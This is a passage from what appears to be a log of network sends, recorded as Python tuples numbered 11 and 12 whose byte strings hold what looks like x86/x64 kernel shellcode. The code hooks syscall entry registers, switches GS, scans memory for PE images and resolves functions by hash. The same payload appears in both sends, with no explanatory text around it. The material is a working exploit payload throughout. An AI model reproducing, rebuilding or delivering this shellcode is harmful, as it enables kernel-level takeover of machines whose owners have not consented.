0\\xc2I\\xeb\\xf0\\x89\\xd0^Z\\xc2\\x08\\x00XZ_^PV\\x89\\xf0\\x83\\xc6<\\x8b6\\x01\\xc61\\xc0\\x89\\xc1f\\x8bN\\x06f\\x8bF\\x14\\x01\\xc6\\x83\\xc6\\x18\\x85\\xc9t\\x1d\\x8b\\x069\\xf8u\\x07\\x8bF\\x049\\xd0t\\x06\\x83\\xc6(I\\xeb\\xe9\\x8bF\\x0c\\x8bN\\x08^\\x01\\xc6\\xc31\\xf6\\xc3`1\\xc0\\x83\\xf8\\x0ft\\x1e1\\xc9\\x8b<\\x86\\x8b\\x14\\x8e9\\xd7t\\x03Au\\xf3\\x0f\\xb6\\x94\\x03\\x87\\x03\\x00\\x009\\xd1u\\r@\\xeb\\xddA9\\xc8u\\x05a1\\xc0@\\xc3a1\\xc0\\xc3\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\t\\t\\r\\x0e\\x8bL$\\x08`\\xe8\\x00\\x00\\x00\\x00]f\\x81\\xe5\\x00\\xf0\\x89M4\\xe8\\xd9\\x01\\x00\\x00\\xe8C\\x01\\x00\\x00\\xe8\\x7f\\x01\\x00\\x00\\x85\\xc0\\x0f\\x84\\xe3\\x00\\x00\\x00\\x8b]<\\x8bK\\xd8\\xe8\\x17\\x01\\x00\\x00<#t\\r\\x01\\x00\\x00f\\xb8\\x10\\x00\\x8bM8f\\x01A\\x1e\\x8bE\\x10\\x89D$\\x1cah\\x00\\x00\\x00\\x00\\x8b@H9\\xdfu\\x0cL\\x8b\\x86\\x98\\x00\\x00\\x00M\\x85\\xc0t\\x06H\\x83\\xc6\\x08\\xeb\\xd8H\\x83\\xc6\\x08H\\x89u\\xe0H1\\xc9\\xba\\xf0\\x0f\\x00\\x00\\xffU\\xf0H\\x85\\xc0tiI\\x89\\xc1H1\\xc0\\xb9\\x00\\x04\\x00\\x00L\\x89\\xcf\\xf3\\xabL\\x89\\xcfH\\x83\\xc7`H\\x8d5\\x91\\x02\\x00\\x00H1\\xc9f\\xb96\\x02\\xf3\\xa4M\\x89\\tH\\x8b]\\xf8I\\x89Y\\x08H1\\xdfH\\x8b]\\xf0I\\x89Y\\x10H1\\xdfH\\x8b]\\xe8I\\x89Y\\x18H1\\xdfH\\x8b]\\xe0I\\x89Y H1\\xdfA\\x89yDH\\x8bE\\xe0H\\x83\\xc0pI\\x83\\xc1`L\\x89\\x08H\', 0.0)', '(\'send\', 11, b\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xf0\\xdf\\xff\\xc0\\xf0\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\xf0\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x01\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xd0\\xff\\xff\\xff\\xff\\xff\\x001\\xc0@\\x90t\\x08\\xe8\\t\\x00\\x00\\x00\\xc2$\\x00\\xe8\\xa7\\x00\\x00\\x00\\xc3\\xe8\\x01\\x00\\x00\\x00\\xeb\\x90[\\xb9v\\x01\\x00\\x00\\x0f2\\xa3\\xfc\\xff\\xdf\\xff\\x8dC\\x171\\xd2\\x0f0\\xc3\\xb9#\\x00\\x00\\x00j0\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1d\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\xff5\\xfc\\xff\\xdf\\xff`\\x9cj#R\\x9cj\\x02\\x83\\xc2\\x08\\x9d\\x80L$\\x01\\x02j\\x1b\\xff5\\x04\\x03\\xdf\\xffj\\x00USVWd\\x8b\\x1d\\x1c\\x00\\x00\\x00j;\\x8b\\xb3$\\x01\\x00\\x00\\xff31\\xc0H\\x89\\x03\\x8bn(j\\x01\\x83\\xecH\\x81\\xed\\x9c\\x02\\x00\\x00\\xa1\\xfc\\xff\\xdf\\xff\\xb9v\\x01\\x00\\x001\\xd2\\x0f0\\xfb\\xe8\\x11\\x00\\x00\\x00\\xfad\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\x83\\xec(\\x9da\\xc3\\xe9\\xef\\x00\\x00\\x00\\xb9\\x82\\x00\\x00\\xc0\\x0f2H\\xbb\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xff\\x89S\\x04\\x89\\x03H\\x8d\\x05\\n\\x00\\x00\\x00H\\x89\\xc2H\\xc1\\xea \\x0f0\\xc3\\x0f\\x01\\xf8eH\\x89$%\\x10\\x00\\x00\\x00eH\\x8b$%\\xa8\\x01\\x00\\x00PSQRVWUAPAQARASATAUAVAWj+e\\xff4%\\x10\\x00\\x00\\x00ASj3QL\\x89\\xd1H\\x83\\xec\\x08UH\\x81\\xecX\\x01\\x00\\x00H\\x8d\\xac$\\x80\\x00\\x00\\x00H\\x89\\x9d\\xc0\\x00\\x00\\x00H\\x89\\xbd\\xc8\\x00\\x00\\x00H\\x89\\xb5\\xd0\\x00\\x00\\x00H\\xa1\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xffH\\x89\\xc2H\\xc1\\xea H1\\xdb\\xff\\xcbH!\\xd8H1\\xc9\\xb9\\x82\\x00\\x00\\xc0\\x0f0\\xfb\\xe88\\x00\\x00\\x00\\xfaeH\\x8b$%\\xa8\\x01\\x00\\x00H\\x83\\xecxA_A^A]A\\\\A[AZAYAX]_^ZY[XeH\\x8b$%\\x10\\x00\\x00\\x00\\x0f\\x01\\xf8\\xff$%\\xf8\\x0f\\xd0\\xff1\\xc0@\\x90\\x0f\\x84\\xb5\\x05\\x00\\x00\\xe8\\x00\\x00\\x00\\x00X`\\x89\\xc3\\x89\\xe5\\x83\\xecHd\\x8b\\r8\\x00\\x00\\x00f\\x8bA\\x06\\xc1\\xe0\\x10f\\x8b\\x01f%\\x00\\xf0\\x8b\\x08f\\x81\\xf9MZt\\x07-\\x00\\x10\\x00\\x00\\xeb\\xf0\\x89E\\xfcS\\x89\\xc3\\xb9\\x94\\x01i\\xe3\\xe8>\\x01\\x00\\x00\\x89E\\xf8\\xb9\\x85T\\x83\\xf0\\xe81\\x01\\x00\\x00\\x89E\\xf4\\xb9.[Q\\xd2\\xe8$\\x01\\x00\\x00\\x89E\\xec[\\x8dU\\xe81\\xc9\\x89\\nRj\\x00Rj\\x0b\\xff\\xd0\\x8bU\\xe8\\x85\\xd2\\x0f\\x84\\x02\\x01\\x00\\x00Rj\\x00\\xffU\\xf8\\x85\\xc0\\x0f\\x84\\xf4\\x00\\x00\\x00Pj\\x00\\xffu\\xe8Pj\\x0b\\xffU\\xec\\x85\\xc0\\x0f\\x85\\xe0\\x00\\x00\\x00XP-\\xfc\\x00\\x00\\x00\\x05\\x1c\\x01\\x00\\x00P\\xe8\\x80\\x01\\x00\\x00\\xb9\\xfa<\\xad\\xc29\\xc8t\\x1e\\xb9\\x1a\\xbdK+9\\xc8t\\x15X\\x8bU\\xe8\\x81\\xea\\x1c\\x01\\x00\\x00\\x0f\\x8c\\xac\\x00\\x00\\x00\\x89U\\xe8\\xeb\\xceX\\x8bp\\xec\\xffU\\xf4\\x89\\xf0PPh.datja\\xe8\\\'\\x02\\x00\\x00\\x85\\xc0\\x0f\\x84\\x88\\x00\\x00\\x00X\\x83\\xe9@\\xe8Z\\x02\\x00\\x00\\x85\\xc0t\\x15\\x8b\\x16\\xc1\\xea\\x18\\x89\\xf0\\xc1\\xe8\\x189\\xd0u\\x07\\x8bFH\\x85\\xc0t\\n\\x83\\xc6\\x04\\x83\\xe9\\x04\\xe3^\\xeb\\xd8\\x89u\\xf0Vh\\xf8\\x0f\\x00\\x00j\\x00\\xffU\\xf8\\x85\\xc0tJP\\x89\\xc71\\xc0\\x89\\xc1f\\x81\\xc1\\x00\\x04\\xf3\\xabX\\x89\\x00\\x8bU\\x04\\x89P\\x041\\xd7\\x8bU\\xf8\\x89P\\x081\\xd7\\x8bU\\xf4\\x89P\\x0c1\\xd7\\x8bU\\xf0\\x89P\\x101\\xd7\\x89x$\\x83\\xc0H\\x89\\xc7\\x8d\\xb3\\x96\\x03\\x00\\x00\\xb9\\x1a\\x02\\x00\\x00\\xf3\\xa4[\\x89C8\\x89\\xeca\\xc3SRQWU\\x89\\xe5\\x83\\xec\\x18\\x89\\xcf\\x89\\xd8\\x89E\\xfc\\xe8z\\x00\\x00\\x00\\x85\\xc0tm\\x89E\\xf8\\xe8\\xee\\x00\\x00\\x00\\x89E\\xf4\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x0e\\x01\\x00\\x00\\x85\\xc0tS\\x89E\\xf0\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x04\\x01\\x00\\x00\\x85\\xc0tA\\x89E\\xec\\x8bE\\xfc\\x8bM\\xf8\\xe8\\xfa\\x00\\x00\\x00\\x85\\xc0t/\\x89E\\xe8\\x8bE\\xfc\\x89\\xf9\\x8bU\\xec\\x8b]\\xf4\\xe8\\xab\\x00\\x00\\x00\\x85\\xc0t\\x18\\x89\\xc1\\x8bE\\xe8\\xe8\\xdd\\x00\\x00\\x00f\\x89\\xc2\\x8bE\\xfc\\x8bM\\xf0\\xe8\\xd7\\x00\\x00\\x00\\x83\\xc4\\x18]_YZ[\\xc3V\\x89\\xc6\\x83\\xc6<\\x8b6\\x01\\xc6f\\x81>PEu\\t\\x83\\xc6x\\x8b6\\x01\\xf0^\\xc31\\xc0\\xeb\\xfaVQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x05\\x01\\xc8F\\xeb\\xe9_Y^\\xc3VWR\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0F\\xe2\\xeeZ_^\\xc3VQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\xc6\\x01\\xc8FF\\xeb\\xe8_Y^\\xc3\\x83\\xc0\\x18\\x8b\\x00\\xc3WVQ1\\xff\\x89\\xc69\\xdft\\x19\\x8b\\x04\\xba\\x01\\xf0\\xe8\\x83\\xff\\xff\\xff9\\xc8t\\x07G\\xeb\\xebY^_\\xc3\\x89\\xf8\\xeb\\xf81\\xc0\\xeb\\xf4\\x83\\xc1\\x1c\\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1 \\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1$\\x8b\\t\\x01\\xc8\\xc3\\xd1\\xe1\\x01\\xc8f\\x8b\\x00\\xc3\\x81\\xe2\\xff\\xff\\x00\\x00\\xc1\\xe2\\x02\\x01\\xd1\\x8b\\t\\x01\\xc8\\xc3RV\\x8bt$\\x0c\\x8bL$\\x101\\xd2\\xd1\\xe9\\x85\\xc9t\\x0c\\xc1\\xc2\\x05\\xacF\\x0c 0\\xc2I\\xeb\\xf0\\x89\\xd0^Z\\xc2\\x08\\x00XZ_^PV\\x89\\xf0\\x83\\xc6<\\x8b6\\x01\\xc61\\xc0\\x89\\xc1f\\x8bN\\x06f\\x8bF\\x14\\x01\\xc6\\x83\\xc6\\x18\\x85\\xc9t\\x1d\\x8b\\x069\\xf8u\\x07\\x8bF\\x049\\xd0t\\x06\\x83\\xc6(I\\xeb\\xe9\\x8bF\\x0c\\x8bN\\x08^\\x01\\xc6\\xc31\\xf6\\xc3`1\\xc0\\x83\\xf8\\x0ft\\x1e1\\xc9\\x8b<\\x86\\x8b\\x14\\x8e9\\xd7t\\x03Au\\xf3\\x0f\\xb6\\x94\\x03\\x87\\x03\\x00\\x009\\xd1u\\r@\\xeb\\xddA9\\xc8u\\x05a1\\xc0@\\xc3a1\\xc0\\xc3\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\t\\t\\r\\x0e\\x8bL$\\x08`\\xe8\\x00\\x00\\x00\\x00]f\\x81\\xe5\\x00\\xf0\\x89M4\\xe8\\xd9\\x01\\x00\\x00\\xe8C\\x01\\x00\\x00\\xe8\\x7f\\x01\\x00\\x00\\x85\\xc0\\x0f\\x84\\xe3\\x00\\x00\\x00\\x8b]<\\x8bK\\xd8\\xe8\\x17\\x01\\x00\\x00<#t\\r\\x01\\x00\\x00f\\xb8\\x10\\x00\\x8bM8f\\x01A\\x1e\\x8bE\\x10\\x89D$\\x1cah\\x00\\x00\\x00\\x00\\x8b@H9\\xdfu\\x0cL\\x8b\\x86\\x98\\x00\\x00\\x00M\\x85\\xc0t\\x06H\\x83\\xc6\\x08\\xeb\\xd8H\\x83\\xc6\\x08H\\x89u\\xe0H1\\xc9\\xba\\xf0\\x0f\\x00\\x00\\xffU\\xf0H\\x85\\xc0tiI\\x89\\xc1H1\\xc0\\xb9\\x00\\x04\\x00\\x00L\\x89\\xcf\\xf3\\xabL\\x89\\xcfH\\x83\\xc7`H\\x8d5\\x91\\x02\\x00\\x00H1\\xc9f\\xb96\\x02\\xf3\\xa4M\\x89\\tH\\x8b]\\xf8I\\x89Y\\x08H1\\xdfH\\x8b]\\xf0I\\x89Y\\x10H1\\xdfH\\x8b]\\xe8I\\x89Y\\x18H1\\xdfH\\x8b]\\xe0I\\x89Y H1\\xdfA\\x89yDH\\x8bE\\xe0H\\x83\\xc0pI\\x83\\xc1`L\\x89\\x08H\', 0.0)', '(\'send\', 12, b\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xf0\\xdf\\xff\\xc0\\xf0\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\xf0\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x01\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xd0\\xff\\xff\\xff\\xff\\xff\\x001\\xc0@\\x90t\\x08\\xe8\\t\\x00\\x00\\x00\\xc2$\\x00\\xe8\\xa7\\x00\\x00\\x00\\xc3\\xe8\\x01\\x00\\x00\\x00\\xeb\\x90[\\xb9v\\x01\\x00\\x00\\x0f2\\xa3\\xfc\\xff\\xdf\\xff\\x8dC\\x171\\xd2\\x0f0\\xc3\\xb9#\\x00\\x00\\x00j0\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1d\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\xff5\\xfc\\xff\\xdf\\xff`\\x9cj#R\\x9cj\\x02\\x83\\xc2\\x08\\x9d\\x80L$\\x01\\x02j\\x1b\\xff5\\x04\\x03\\xdf\\xffj\\x00USVWd\\x8b\\x1d\\x1c\\x00\\x00\\x00j;\\x8b\\xb3$\\x01\\x00\\x00\\xff31\\xc0H\\x89\\x03\\x8bn(j\\x01\\x83\\xecH\\x81\\xed\\x9c\\x02\\x00\\x00\\xa1\\xfc\\xff\\xdf\\xff\\xb9v\\x01\\x00\\x001\\xd2\\x0f0\\xfb\\xe8\\x11\\x00\\x00\\x00\\xfad\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\x83\\xec(\\x9da\\xc3\\xe9\\xef\\x00\\x00\\x00\\xb9\\x82\\x00\\x00\\xc0\\x0f2H\\xbb\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xff\\x89S\\x04\\x89\\x03H\\x8d\\x05\\n\\x00\\x00\\x00H\\x89\\xc2H\\xc1\\xea \\x0f0\\xc3\\x0f\\x01\\xf8eH\\x89$%\\x10\\x00\\x00\\x00eH\\x8b$%\\xa8\\x01\\x00\\x00PSQRVWUAPAQARASATAUAVAWj+e\\xff4%\\x10\\x00\\x00\\x00ASj3QL\\x89\\xd1H\\x83\\xec\\x08UH\\x81\\xecX\\x01\\x00\\x00H\\x8d\\xac$\\x80\\x00\\x00\\x00H\\x89\\x9d\\xc0\\x00\\x00\\x00H\\x89\\xbd\\xc8\\x00\\x00\\x00H\\x89\\xb5\\xd0\\x00\\x00\\x00H\\xa1\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xffH\\x89\\xc2H\\xc1\\xea H1\\xdb\\xff\\xcbH!\\xd8H1\\xc9\\xb9\\x82\\x00\\x00\\xc0\\x0f0\\xfb\\xe88\\x00\\x00\\x00\\xfaeH\\x8b$%\\xa8\\x01\\x00\\x00H\\x83\\xecxA_A^A]A\\\\A[AZAYAX]_^ZY[XeH\\x8b$%\\x10\\x00\\x00\\x00\\x0f\\x01\\xf8\\xff$%\\xf8\\x0f\\xd0\\xff1\\xc0@\\x90\\x0f\\x84\\xb5\\x05\\x00\\x00\\xe8\\x00\\x00\\x00\\x00X`\\x89\\xc3\\x89\\xe5\\x83\\xecHd\\x8b\\r8\\x00\\x00\\x00f\\x8bA\\x06\\xc1\\xe0\\x10f\\x8b\\x01f%\\x00\\xf0\\x8b\\x08f\\x81\\xf9MZt\\x07-\\x00\\x10\\x00\\x00\\xeb\\xf0\\x89E\\xfcS\\x89\\xc3\\xb9\\x94\\x01i\\xe3\\xe8>\\x01\\x00\\x00\\x89E\\xf8\\xb9\\x85T\\x83\\xf0\\xe81\\x01\\x00\\x00\\x89E\\xf4\\xb9.[Q\\xd2\\xe8$\\x01\\x00\\x00\\x89E\\xec[\\x8dU\\xe81\\xc9\\x89\\nRj\\x00Rj\\x0b\\xff\\xd0\\x8bU\\xe8\\x85\\xd2\\x0f\\x84\\x02\\x01\\x00\\x00Rj\\x00\\xffU\\xf8\\x85\\xc0\\x0f\\x84\\xf4\\x00\\x00\\x00Pj\\x00\\xffu\\xe8Pj\\x0b\\xffU\\xec\\x85\\xc0\\x0f\\x85\\xe0\\x00\\x00\\x00XP-\\xfc\\x00\\x00\\x00\\x05\\x1c\\x01\\x00\\x00P\\xe8\\x80\\x01\\x00\\x00\\xb9\\xfa<\\xad\\xc29\\xc8t\\x1e\\xb9\\x1a\\xbdK+9\\xc8t\\x15X\\x8bU\\xe8\\x81\\xea\\x1c\\x01\\x00\\x00\\x0f\\x8c\\xac\\x00\\x00\\x00\\x89U\\xe8\\xeb\\xceX\\x8bp\\xec\\xffU\\xf4\\x89\\xf0PPh.datja\\xe8\\\'\\x02\\x00\\x00\\x85\\xc0\\x0f\\x84\\x88\\x00\\x00\\x00X\\x83\\xe9@\\xe8Z\\x02\\x00\\x00\\x85\\xc0t\\x15\\x8b\\x16\\xc1\\xea\\x18\\x89\\xf0\\xc1\\xe8\\x189\\xd0u\\x07\\x8bFH\\x85\\xc0t\\n\\x83\\xc6\\x04\\x83\\xe9\\x04\\xe3^\\xeb\\xd8\\x89u\\xf0Vh\\xf8\\x0f\\x00\\x00j\\x00\\xffU\\xf8\\x85\\xc0tJP\\x89\\xc71\\xc0\\x89\\xc1f\\x81\\xc1\\x00\\x04\\xf3\\xabX\\x89\\x00\\x8bU\\x04\\x89P\\x041\\xd7\\x8bU\\xf8\\x89P\\x081\\xd7\\x8bU\\xf4\\x89P\\x0c1\\xd7\\x8bU\\xf0\\x89P\\x101\\xd7\\x89x$\\x83\\xc0H\\x89\\xc7\\x8d\\xb3\\x96\\x03\\x00\\x00\\xb9\\x1a\\x02\\x00\\x00\\xf3\\xa4[\\x89C8\\x89\\xeca\\xc3SRQWU\\x89\\xe5\\x83\\xec\\x18\\x89\\xcf\\x89\\xd8\\x89E\\xfc\\xe8z\\x00\\x00\\x00\\x85\\xc0tm\\x89E\\xf8\\xe8\\xee\\x00\\x00\\x00\\x89E\\xf4\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x0e\\x01\\x00\\x00\\x85\\xc0tS\\x89E\\xf0\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x04\\x01\\x00\\x00\\x85\\xc0tA\\x89E\\xec\\x8bE\\xfc\\x8bM\\xf8\\xe8\\xfa\\x00\\x00\\x00\\x85\\xc0t/\\x89E\\xe8\\x8bE\\xfc\\x89\\xf9\\x8bU\\xec\\x8b]\\xf4\\xe8\\xab\\x00\\x00\\x00\\x85\\xc0t\\x18\\x89\\xc1\\x8bE\\xe8\\xe8\\xdd\\x00\\x00\\x00f\\x89\\xc2\\x8bE\\xfc\\x8bM\\xf0\\xe8\\xd7\\x00\\x00\\x00\\x83\\xc4\\x18]_YZ[\\xc3V\\x89\\xc6\\x83\\xc6<\\x8b6\\x01\\xc6f\\x81>PEu\\t\\x83\\xc6x\\x8b6\\x01\\xf0^\\xc31\\xc0\\xeb\\xfaVQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x05\\x01\\xc8F\\xeb\\xe9_Y^\\xc3VWR\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0F\\xe2\\xeeZ_^\\xc3VQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\xc6\\x01\\xc8FF\\xeb\\xe8_Y^\\xc3\\x83\\xc0\\x18\\x8b\\x00\\xc3WVQ1\\xff\\x89\\xc69\\xdft\\x19\\x8b\\x04\\xba\\x01\\xf0\\xe8\\x83\\xff\\xff\\xff9\\xc8t\\x07G\\xeb\\xebY^_\\xc3\\x89\\xf8\\xeb\\xf81\\xc0\\xeb\\xf4\\x83\\xc1\\x1c\\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1 \\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1$\\x8b\\t\\x01\\xc8\\xc3\\xd1\\xe1\\x01\\xc8f\\x8b\\x00\\xc3\\x81\\xe2\\xff\\xff\\x00\\x00\\xc1\\xe2\\x02\\x01\\xd1\\x8b\\t\\x01\\xc8\\xc3RV\\x8bt$\\x0c\\x8bL$\\x101\\xd2\\xd1\\xe9\\x85\\xc9t\\x0c\\xc1\\xc2\\x05\\xacF\\x0c 